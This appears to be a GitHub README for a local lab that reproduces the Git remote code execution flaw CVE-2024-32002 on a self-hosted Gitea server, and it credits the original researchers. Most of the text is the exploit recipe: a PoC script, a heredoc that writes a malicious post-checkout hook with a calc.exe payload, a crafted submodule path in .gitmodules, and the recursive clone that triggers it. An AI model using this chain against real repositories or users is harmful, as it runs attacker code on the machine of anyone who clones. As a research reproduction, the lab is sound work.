chriswalker11/running-cve-2024-32002-locally-for-tesingLocal reproduction environment for CVE-2024-32002 Git RCE exploit using Gitea, with custom payload injection via post-checkout hooks and submodule path traversal.
we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce
git_rce) includes a submodule with a specially crafted path..git/ directory, which contains a malicious hook.⚠️ Warning: Do not run this PoC on systems you do not own or do not have explicit permission to use. Unauthorized testing could result in unintended consequences.
we need to make an api token for gitea this can be found at http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
i gave the token access to everything in order to make sure everything worked
then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
also we need to edit lines 42-46 to contain the payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
there is one more step we must go to the .gitmodules from the main to the hook
repository i manually went to the repo in git tea and changed the file
and then this did this
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
making sure that when i went to A/modules i could see something like this
then clicking that commit should show the other repo with the POC stuff in it when you click it
then we can take our url and this should work to trigger the exploit
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Credit to filip-hejsek and amalmurali47 for discovering this vulnerability and having a blog post and repository to adapt from